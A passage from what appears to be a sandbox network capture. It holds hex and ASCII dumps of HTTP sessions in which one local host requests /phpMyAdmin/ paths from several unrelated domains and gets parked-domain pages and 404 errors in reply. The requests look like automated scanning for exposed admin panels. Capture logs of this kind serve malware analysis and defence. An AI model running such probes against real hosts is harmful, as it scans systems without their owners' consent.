Dec 2, 2023 18:04:41.241317034 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:40 GMT Server: Apache Set-Cookie: vsid=919vr449082280884193687; expires=Thu, 30-Nov-2028 17:04:40 GMT; Max-Age=157680000; path=/; domain=furnscales.com; HttpOnly Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 62 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4c 71 75 44 46 45 54 58 52 6e 30 48 72 30 35 66 55 50 37 45 4a 54 37 37 78 59 6e 50 6d 52 62 70 4d 79 34 76 6b 38 4b 59 69 48 6e 6b 4e 70 65 64 6e 6a 4f 41 4e 4a 63 61 58 44 58 63 4b 51 4a 4e 30 6e 58 4b 5a 4a 4c 37 54 63 69 4a 44 38 41 6f 48 58 4b 31 35 38 43 41 77 45 41 41 51 3d 3d 5f 4c 64 32 43 61 2b 33 77 46 36 6d 49 31 49 53 6e 41 62 72 5a 41 38 44 38 71 4a 41 6b 46 49 76 7a 79 64 6c 30 2f 6f 43 7a 38 4c 39 35 33 36 4d 67 37 39 36 4c 4d 4b 68 4f 70 67 46 31 4f 4d 59 77 49 48 6b 76 59 35 4c 31 4e 48 72 55 39 69 38 33 4a 41 76 62 33 41 3d 3d 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 64 73 65 6e 73 65 2f 64 6f 6d 61 69 6e 73 2f 63 61 66 2e 6a 73 3f 61 62 70 3d 31 22 3e 3c 2f 73 63 72 69 70 74 3e 20 20 20 20 3c 73 74 79 6c 65 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0a 2e 61 73 73 65 74 5f 73 74 61 72 30 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 61 73 73 65 74 73 2f 73 74 61 72 30 2e 67 69 66 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 6e 74 65 72 3b 0a 09 77 69 64 74 68 3a 20 31 33 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 3b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 61 73 73 65 74 5f 73 74 61 72 31 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 61 73 73 65 74 73 2f 73 74 61 72 31 2e 67 69 66 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 6e 74 65 72 3b 0a 09 77 69 64 74 68 3a 20 31 33 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 3b 0a 09 64 69 73 Data Ascii: 4b99<!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_Ld2Ca+3wF6mI1ISnAbrZA8D8qJAkFIvzydl0/oCz8L9536Mg796LMKhOpgF1OMYwIHkvY5L1NHrU9i83JAvb3A==" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"/> <title>furnscales.com</title> <script src="//www.google.com/adsense/domains/caf.js?abp=1"></script> <style media="screen">.asset_star0 {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/star0.gif') no-repeat center;width: 13px;height: 12px;display: inline-block;}.asset_star1 {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/star1.gif') no-repeat center;width: 13px;height: 12px;dis
Dec 2, 2023 18:04:41.241338015 CET	1274	IN	Data Raw: 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 61 73 73 65 74 5f 73 74 61 72 48 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e Data Ascii: play: inline-block;}.asset_starH {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/starH.gif') no-repeat center;width: 13px;height: 12px;display: inline-block;}.sitelink {padding-right: 16px;}.sellerRatings a:l
Dec 2, 2023 18:04:41.241354942 CET	1274	IN	Data Raw: 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 63 6c 65 61 6e 50 65 70 70 65 72 6d 69 6e 74 42 6c 61 63 6b 5f 36 35 37 64 39 30 31 33 2f 69 6d 67 2f 62 6f 74 74 6f 6d 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 Data Ascii: 17bvxu.cloudfront.net/themes/cleanPeppermintBlack_657d9013/img/bottom.png') no-repeat center bottom; padding-bottom:140px;}.wrapper3 { background:#fff; max-width:300px; margin:0 auto 1rem; padding-top:1px; padding-bo
Dec 2, 2023 18:04:41.241374016 CET	1274	IN	Data Raw: 67 68 74 3a 36 30 30 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 77 72 61 70 70 65 72 33 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 35 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 Data Ascii: ght:600px; } .wrapper3 { max-width:530px; background:none; }}</style> </head><body id="afd" style="visibility:hidden"><div id="reg-banner" class="reg-banner"> <style> .reg-banner { box-sizing:bo
Dec 2, 2023 18:04:41.241894007 CET	1274	IN	Data Raw: 77 2e 6e 65 74 77 6f 72 6b 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 63 6f 6e 74 65 6e 74 2f 65 78 70 65 72 69 65 6e 63 65 2d 66 72 61 67 6d 65 6e 74 73 2f 6e 65 74 73 6f 6c 2f 73 69 74 65 2d 68 65 61 64 65 72 2f 6d 61 73 74 65 72 2f 5f 6a 63 72 Data Ascii: w.networksolutions.com/content/experience-fragments/netsol/site-header/master/_jcr_content/root/header/logo.coreimg.svg/1633719265272/160x62-full-logo-transparent-bg.svg" class="reg-logo" alt="furnscales.com expired on and is pending renewal
Dec 2, 2023 18:04:41.241950035 CET	1274	IN	Data Raw: 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 2d 74 65 78 74 2d 63 6f 6c 6f 72 22 3e 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 20 65 78 70 69 72 65 64 20 6f 6e 20 20 61 6e 64 20 69 73 20 70 65 6e 64 69 6e 67 20 72 65 6e 65 77 61 6c 20 Data Ascii: <span class="header-text-color">furnscales.com expired on and is pending renewal or deletion.</span> </div> <div style="grid-column: 1 / span 2; justify-self: end"> <a target="_blank" href="//ads.networksolutions.com/landing?c
Dec 2, 2023 18:04:41.241967916 CET	1274	IN	Data Raw: 6d 59 77 4d 54 59 32 59 6a 6c 69 4d 57 56 6c 4e 32 4a 68 4d 6a 59 79 4f 44 63 35 4d 6d 55 79 4f 47 55 78 4f 44 4e 6c 4d 32 55 30 4d 6d 55 34 4d 32 4d 79 4f 54 41 30 4d 57 52 69 59 7a 45 25 33 44 2a 22 3e 52 65 76 69 65 77 20 6f 75 72 20 50 72 69 Data Ascii: mYwMTY2YjliMWVlN2JhMjYyODc5MmUyOGUxODNlM2U0MmU4M2MyOTA0MWRiYzE%3D*">Review our Privacy Policy</a><br><br><a href="https://assets.web.com/legal/English/MSA/v1.0.0.3/ServicesAgreement.pdf">Service Agreement</a><br><br><a href="https://www.ne
Dec 2, 2023 18:04:41.241983891 CET	1274	IN	Data Raw: 70 61 72 65 6e 74 27 2c 0a 20 20 20 20 20 20 20 20 27 63 6f 6c 6f 72 53 65 61 72 63 68 42 75 74 74 6f 6e 27 3a 20 27 23 30 62 33 32 37 39 27 2c 0a 20 20 20 20 20 20 20 20 27 63 6f 6c 6f 72 53 65 61 72 63 68 42 75 74 74 6f 6e 54 65 78 74 27 3a 20 Data Ascii: parent', 'colorSearchButton': '#0b3279', 'colorSearchButtonText': '#fff' }; </script><script type="text/javascript">var isAdult=false; var containerNames=[]; var uniqueTrackingID='MTcwMTUzNjY4MS4wNjk0OmE3NDAxNj
Dec 2, 2023 18:04:41.242261887 CET	1274	IN	Data Raw: 6c 6c 65 64 41 72 67 75 6d 65 6e 74 73 20 3d 20 66 61 6c 73 65 3b 0a 0a 76 61 72 20 70 61 67 65 4f 70 74 69 6f 6e 73 20 3d 20 7b 0a 20 20 20 20 27 70 75 62 49 64 27 3a 20 27 64 70 2d 74 65 61 6d 69 6e 74 65 72 6e 65 74 30 31 27 2c 0a 20 20 20 20 Data Ascii: lledArguments = false;var pageOptions = { 'pubId': 'dp-teaminternet01', 'resultsPageBaseUrl': '//' + location.host + '/?ts=', 'fontFamily': 'arial', 'optimizeTerms': true, 'maxTermLength': 40, 'adtest': true, 'cli
Dec 2, 2023 18:04:41.242280960 CET	1274	IN	Data Raw: 69 6e 65 72 4e 61 6d 65 20 69 6e 20 63 6f 6e 74 61 69 6e 65 72 4e 61 6d 65 73 29 20 7b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 64 61 74 61 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 74 61 69 6e 65 72 4e Data Ascii: inerName in containerNames) { var data = { containerName: containerName, adsLoaded: adsLoaded, isExperimentVariant: isExperimentVariant, callbackOptions: callbackOpti
Dec 2, 2023 18:04:41.317624092 CET	1274	IN	Data Raw: 73 2e 65 72 72 6f 72 63 6f 64 65 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 69 66 20 28 73 74 61 74 75 73 2e 65 72 72 6f 72 5f 63 6f 64 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 6a 61 78 51 75 65 72 79 28 73 63 72 Data Ascii: s.errorcode; } if (status.error_code) { ajaxQuery(scriptPath + "/track.php?domain=" + encodeURIComponent(domain) + "&caf=1&toggle=errorcode&code=" + encodeURIComponent(status.error_code) + "&uid=" + encodeURICompon

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.7	58489	81.68.211.71	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:40.805080891 CET	224	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: yekai.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:41.150264978 CET	1081	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-UA-Compatible: IE=edge,chrome=1 X-Powered-By: PbootCMS Set-Cookie: lg=cn; path=/ X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:40 GMT Content-Length: 766 Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e9 94 99 e8 af af e4 bf a1 e6 81 af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 25 3b 22 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 63 6f 72 65 2f 74 65 6d 70 6c 61 74 65 2f 66 61 63 65 30 32 2e 70 6e 67 22 20 68 65 69 67 68 74 3d 22 31 32 30 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e e6 82 a8 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e4 b8 8d e5 ad 98 e5 9c a8 ef bc 8c e8 af b7 e6 a0 b8 e5 af b9 e5 90 8e e9 87 8d e8 af 95 ef bc 81 20 3c 73 70 61 6e 20 69 64 3d 22 74 69 6d 65 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 63 6f 6c 6f 72 3a 23 63 63 63 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 3b 22 3e 0a 20 20 20 09 09 e7 a8 8b e5 ba 8f e7 89 88 e6 9c ac ef bc 9a 33 2e 32 2e 35 2d 32 30 32 33 30 34 32 31 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0" /><meta name="apple-mobile-web-app-capable" content="yes" /></head><body><div style="margin-left:10%;margin-top:5%;"> <div style="margin-bottom:20px;"><img src="/core/template/face02.png" height="120"></div> <div style="font-size:20px;margin-bottom:20px;"> <span id="time" style="font-size:18px;"></span></div> <div><span style="font-size:12px;border-top:1px solid #ccc;color:#ccc;padding-top:2px;"> 3.2.5-20230421 </span></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.7	58605	218.20.227.130	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:41.087860107 CET	224	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: gztit.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:41.421475887 CET	1340	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:30 GMT Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be b3 fd a3 ac d2 d1 b8 fc b8 c4 c3 fb b3 c6 bb f2 d5 df d4 dd ca b1 b2 bb bf c9 d3 c3 a1 a3 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - </h2> <h3></h3> </fields
Dec 2, 2023 18:04:41.421489954 CET	91	IN	Data Raw: 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: et></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.7	59073	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:41.089730024 CET	229	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: furnscales.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:41.554501057 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:41 GMT Server: Apache Set-Cookie: vsid=933vr449082281201689898; expires=Thu, 30-Nov-2028 17:04:41 GMT; Max-Age=157680000; path=/; domain=furnscales.com; HttpOnly Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 62 39 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4c 71 75 44 46 45 54 58 52 6e 30 48 72 30 35 66 55 50 37 45 4a 54 37 37 78 59 6e 50 6d 52 62 70 4d 79 34 76 6b 38 4b 59 69 48 6e 6b 4e 70 65 64 6e 6a 4f 41 4e 4a 63 61 58 44 58 63 4b 51 4a 4e 30 6e 58 4b 5a 4a 4c 37 54 63 69 4a 44 38 41 6f 48 58 4b 31 35 38 43 41 77 45 41 41 51 3d 3d 5f 4c 64 32 43 61 2b 33 77 46 36 6d 49 31 49 53 6e 41 62 72 5a 41 38 44 38 71 4a 41 6b 46 49 76 7a 79 64 6c 30 2f 6f 43 7a 38 4c 39 35 33 36 4d 67 37 39 36 4c 4d 4b 68 4f 70 67 46 31 4f 4d 59 77 49 48 6b 76 59 35 4c 31 4e 48 72 55 39 69 38 33 4a 41 76 62 33 41 3d 3d 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 64 73 65 6e 73 65 2f 64 6f 6d 61 69 6e 73 2f 63 61 66 2e 6a 73 3f 61 62 70 3d 31 22 3e 3c 2f 73 63 72 69 70 74 3e 20 20 20 20 3c 73 74 79 6c 65 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0a 2e 61 73 73 65 74 5f 73 74 61 72 30 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 61 73 73 65 74 73 2f 73 74 61 72 30 2e 67 69 66 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 6e 74 65 72 3b 0a 09 77 69 64 74 68 3a 20 31 33 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 3b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 61 73 73 65 74 5f 73 74 61 72 31 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 61 73 73 65 74 73 2f 73 74 61 72 31 2e 67 69 66 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 6e 74 65 72 3b 0a 09 77 69 64 74 68 3a 20 31 33 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 3b 0a 09 64 69 73 Data Ascii: 4b9b<!DOCTYPE 